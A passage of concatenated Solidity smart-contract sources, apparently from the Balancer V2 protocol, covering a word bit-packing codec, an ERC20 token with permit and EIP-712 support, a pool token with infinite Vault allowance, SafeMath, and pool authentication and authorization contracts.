uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_10 << offset));
return clearedWord | bytes32(value << offset);
}
/**
* @dev Inserts a 16 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value.
* Returns the new word.
*
* Assumes `value` only uses its least significant 16 bits, otherwise it may overwrite sibling bytes.
*/
function insertUint16(
bytes32 word,
uint256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_16 << offset));
return clearedWord | bytes32(value << offset);
}
/**
* @dev Inserts a 31 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` can be represented using 31 bits.
*/
function insertUint31(
bytes32 word,
uint256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_31 << offset));
return clearedWord | bytes32(value << offset);
}
/**
* @dev Inserts a 32 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` only uses its least significant 32 bits, otherwise it may overwrite sibling bytes.
*/
function insertUint32(
bytes32 word,
uint256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_32 << offset));
return clearedWord | bytes32(value << offset);
}
/**
* @dev Inserts a 64 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` only uses its least significant 64 bits, otherwise it may overwrite sibling bytes.
*/
function insertUint64(
bytes32 word,
uint256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_64 << offset));
return clearedWord | bytes32(value << offset);
}
// Signed
/**
* @dev Inserts a 22 bits signed integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` can be represented using 22 bits.
*/
function insertInt22(
bytes32 word,
int256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_22 << offset));
// Integer values need masking to remove the upper bits of negative values.
return clearedWord | bytes32((uint256(value) & _MASK_22) << offset);
}
// Bytes
/**
* @dev Inserts 192 bit shifted by an offset into a 256 bit word, replacing the old value. Returns the new word.
*
* Assumes `value` can be represented using 192 bits.
*/
function insertBits192(
bytes32 word,
bytes32 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_192 << offset));
return clearedWord | bytes32((uint256(value) & _MASK_192) << offset);
}
// Encoding
// Unsigned
/**
* @dev Encodes an unsigned integer shifted by an offset. This performs no size checks: it is up to the caller to
* ensure that the values are bounded.
*
* The return value can be logically ORed with other encoded values to form a 256 bit word.
*/
function encodeUint(uint256 value, uint256 offset) internal pure returns (bytes32) {
return bytes32(value << offset);
}
// Signed
/**
* @dev Encodes a 22 bits signed integer shifted by an offset.
*
* The return value can be logically ORed with other encoded values to form a 256 bit word.
*/
function encodeInt22(int256 value, uint256 offset) internal pure returns (bytes32) {
// Integer values need masking to remove the upper bits of negative values.
return bytes32((uint256(value) & _MASK_22) << offset);
}
/**
* @dev Encodes a 53 bits signed integer shifted by an offset.
*
* The return value can be logically ORed with other encoded values to form a 256 bit word.
*/
function encodeInt53(int256 value, uint256 offset) internal pure returns (bytes32) {
// Integer values need masking to remove the upper bits of negative values.
return bytes32((uint256(value) & _MASK_53) << offset);
}
// Decoding
/**
* @dev Decodes and returns a boolean shifted by an offset from a 256 bit word.
*/
function decodeBool(bytes32 word, uint256 offset) internal pure returns (bool) {
return (uint256(word >> offset) & _MASK_1) == 1;
}
// Unsigned
/**
* @dev Decodes and returns a 5 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint5(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_5;
}
/**
* @dev Decodes and returns a 7 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint7(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_7;
}
/**
* @dev Decodes and returns a 10 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint10(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_10;
}
/**
* @dev Decodes and returns a 16 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint16(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_16;
}
/**
* @dev Decodes and returns a 31 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint31(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_31;
}
/**
* @dev Decodes and returns a 32 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint32(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_32;
}
/**
* @dev Decodes and returns a 64 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint64(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_64;
}
/**
* @dev Decodes and returns a 128 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint128(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_128;
}
// Signed
/**
* @dev Decodes and returns a 22 bits signed integer shifted by an offset from a 256 bit word.
*/
function decodeInt22(bytes32 word, uint256 offset) internal pure returns (int256) {
int256 value = int256(uint256(word >> offset) & _MASK_22);
// In case the decoded value is greater than the max positive integer that can be represented with 22 bits,
// we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit
// representation.
return value > _MAX_INT_22 ? (value | int256(~_MASK_22)) : value;
}
/**
* @dev Decodes and returns a 53 bits signed integer shifted by an offset from a 256 bit word.
*/
function decodeInt53(bytes32 word, uint256 offset) internal pure returns (int256) {
int256 value = int256(uint256(word >> offset) & _MASK_53);
// In case the decoded value is greater than the max positive integer that can be represented with 53 bits,
// we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit
// representation.
return value > _MAX_INT_53 ? (value | int256(~_MASK_53)) : value;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
import "./IERC20.sol";
import "./SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_allowances[sender][msg.sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(subtractedValue, Errors.ERC20_DECREASED_ALLOWANCE_BELOW_ZERO)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
_require(sender != address(0), Errors.ERC20_TRANSFER_FROM_ZERO_ADDRESS);
_require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS);
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_BALANCE);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
_require(account != address(0), Errors.ERC20_BURN_FROM_ZERO_ADDRESS);
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, Errors.ERC20_BURN_EXCEEDS_ALLOWANCE);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
interface IAssetManager {
/**
* @notice Emitted when asset manager is rebalanced
*/
event Rebalance(bytes32 poolId);
/**
* @notice Sets the config
*/
function setConfig(bytes32 poolId, bytes calldata config) external;
/**
* Note: No function to read the asset manager config is included in IAssetManager
* as the signature is expected to vary between asset manager implementations
*/
/**
* @notice Returns the asset manager's token
*/
function getToken() external view returns (IERC20);
/**
* @return the current assets under management of this asset manager
*/
function getAUM(bytes32 poolId) external view returns (uint256);
/**
* @return poolCash - The up-to-date cash balance of the pool
* @return poolManaged - The up-to-date managed balance of the pool
*/
function getPoolBalances(bytes32 poolId) external view returns (uint256 poolCash, uint256 poolManaged);
/**
* @return The difference in tokens between the target investment
* and the currently invested amount (i.e. the amount that can be invested)
*/
function maxInvestableBalance(bytes32 poolId) external view returns (int256);
/**
* @notice Updates the Vault on the value of the pool's investment returns
*/
function updateBalanceOfPool(bytes32 poolId) external;
/**
* @notice Determines whether the pool should rebalance given the provided balances
*/
function shouldRebalance(uint256 cash, uint256 managed) external view returns (bool);
/**
* @notice Rebalances funds between the pool and the asset manager to maintain target investment percentage.
* @param poolId - the poolId of the pool to be rebalanced
* @param force - a boolean representing whether a rebalance should be forced even when the pool is near balance
*/
function rebalance(bytes32 poolId, bool force) external;
/**
* @notice allows an authorized rebalancer to remove capital to facilitate large withdrawals
* @param poolId - the poolId of the pool to withdraw funds back to
* @param amount - the amount of tokens to withdraw back to the pool
*/
function capitalOut(bytes32 poolId, uint256 amount) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20Permit.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol";
/**
* @title Highly opinionated token implementation
* @author Balancer Labs
* @dev
* - Includes functions to increase and decrease allowance as a workaround
* for the well-known issue with `approve`:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* - Allows for 'infinite allowance', where an allowance of 0xff..ff is not
* decreased by calls to transferFrom
* - Lets a token holder use `transferFrom` to send their own tokens,
* without first setting allowance
* - Emits 'Approval' events whenever allowance is changed by `transferFrom`
* - Assigns infinite allowance for all token holders to the Vault
*/
contract BalancerPoolToken is ERC20, ERC20Permit {
IVault private immutable _vault;
constructor(
string memory tokenName,
string memory tokenSymbol,
IVault vault
) ERC20(tokenName, tokenSymbol) ERC20Permit(tokenName) {
_vault = vault;
}
function getVault() public view returns (IVault) {
return _vault;
}
// Overrides
/**
* @dev Override to grant the Vault infinite allowance, causing for Pool Tokens to not require approval.
*
* This is sound as the Vault already provides authorization mechanisms when initiation token transfers, which this
* contract inherits.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
if (spender == address(getVault())) {
return uint256(-1);
} else {
return super.allowance(owner, spender);
}
}
/**
* @dev Override to allow for 'infinite allowance' and let the token owner use `transferFrom` with no self-allowance
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
uint256 currentAllowance = allowance(sender, msg.sender);
_require(msg.sender == sender || currentAllowance >= amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE);
_transfer(sender, recipient, amount);
if (msg.sender != sender && currentAllowance != uint256(-1)) {
// Because of the previous require, we know that if msg.sender != sender then currentAllowance >= amount
_approve(sender, msg.sender, currentAllowance - amount);
}
return true;
}
/**
* @dev Override to allow decreasing allowance by more than the current amount (setting it to zero)
*/
function decreaseAllowance(address spender, uint256 amount) public override returns (bool) {
uint256 currentAllowance = allowance(msg.sender, spender);
if (amount >= currentAllowance) {
_approve(msg.sender, spender, 0);
} else {
// No risk of underflow due to if condition
_approve(msg.sender, spender, currentAllowance - amount);
}
return true;
}
// Internal functions
function _mintPoolTokens(address recipient, uint256 amount) internal {
_mint(recipient, amount);
}
function _burnPoolTokens(address sender, uint256 amount) internal {
_burn(sender, amount);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "@balancer-labs/v2-solidity-utils/contracts/helpers/Authentication.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IAuthorizer.sol";
import "./BasePool.sol";
/**
* @dev Base authorization layer implementation for Pools.
*
* The owner account can call some of the permissioned functions - access control of the rest is delegated to the
* Authorizer. Note that this owner is immutable: more sophisticated permission schemes, such as multiple ownership,
* granular roles, etc., could be built on top of this by making the owner a smart contract.
*
* Access control of all other permissioned functions is delegated to an Authorizer. It is also possible to delegate
* control of *all* permissioned functions to the Authorizer by setting the owner address to `_DELEGATE_OWNER`.
*/
abstract contract BasePoolAuthorization is Authentication {
address private immutable _owner;
address private constant _DELEGATE_OWNER = 0xBA1BA1ba1BA1bA1bA1Ba1BA1ba1BA1bA1ba1ba1B;
constructor(address owner) {
_owner = owner;
}
function getOwner() public view returns (address) {
return _owner;
}
function getAuthorizer() external view returns (IAuthorizer) {
return _getAuthorizer();
}
function _canPerform(bytes32 actionId, address account) internal view override returns (bool) {
if ((getOwner() != _DELEGATE_OWNER) && _isOwnerOnlyAction(actionId)) {
// Only the owner can perform "owner only" actions, unless the owner is delegated.
return msg.sender == getOwner();
} else {
// Non-owner actions are always processed via the Authorizer, as "owner only" ones are when delegated.
return _getAuthorizer().canPerform(actionId, account, address(this));
}
}
function _isOwnerOnlyAction(bytes32 actionId) internal view virtual returns (bool);
function _getAuthorizer() internal view virtual returns (IAuthorizer);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, Errors.SUB_OVERFLOW);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, uint256 errorCode) internal pure returns (uint256) {
_require(b <= a, errorCode);
uint256 c = a - b;
return c;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./ERC20.sol";
import "./IERC20Permit.sol";
import "./EIP712.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
mapping(address => uint256) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
// solhint-disable-next-line not-rely-on-time
_require(block.timestamp <= deadline, Errors.EXPIRED_PERMIT);
uint256 nonce = _nonces[owner];
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, nonce, deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ecrecover(hash, v, r, s);
_require((signer != address(0)) && (signer == owner), Errors.INVALID_SIGNATURE);
_nonces[owner] = nonce + 1;
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner];
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
_HASHED_NAME = keccak256(bytes(name));
_HASHED_VERSION = keccak256(bytes(version));
_TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view virtual returns (bytes32) {
return keccak256(abi.encode(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION, _getChainId(), address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash));
}
function _getChainId() private view returns (uint256 chainId) {
// Silence state mutability warning without generating bytecode.
// See https://github.com/ethereum/solidity/issues/10090#issuecomment-741789128 and
// https://github.com/ethereum/solidity/issues/2691
this;
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./BalancerErrors.sol";
import "./IAuthentication.sol";
/**
* @dev Building block for performing access control on external functions.
*
* This contract is used via the `authenticate` modifier (or the `_authenticateCaller` function), which can be applied
* to external functions to only make them callable by authorized accounts.
*
* Derived contracts must implement the `_canPerform` function, which holds the actual access control logic.
*/
abstract contract Authentication is IAuthentication {
bytes32 private immutable _actionIdDisambiguator;
/**
* @dev The main purpose of the `actionIdDisambiguator` is to prevent accidental function selector collisions in
* multi contract systems.
*
* There are two main uses for it:
* - if the contract is a singleton, any unique identifier can be used to make the associated action identifiers
* unique. The contract's own address is a good option.
* - if the contract belongs to a family that shares action identifiers for the same functions, an identifier
* shared by the entire family (and no other contract) should be used instead.
*/
constructor(bytes32 actionIdDisambiguator) {
_actionIdDisambiguator = actionIdDisambiguator;
}
/**
* @dev Reverts unless the caller is allowed to call this function. Should only be applied to external functions.
*/
modifier authenticate() {
_authenticateCaller();
_;
}
/**
* @dev Reverts unless the caller is allowed to call the entry point function.
*/
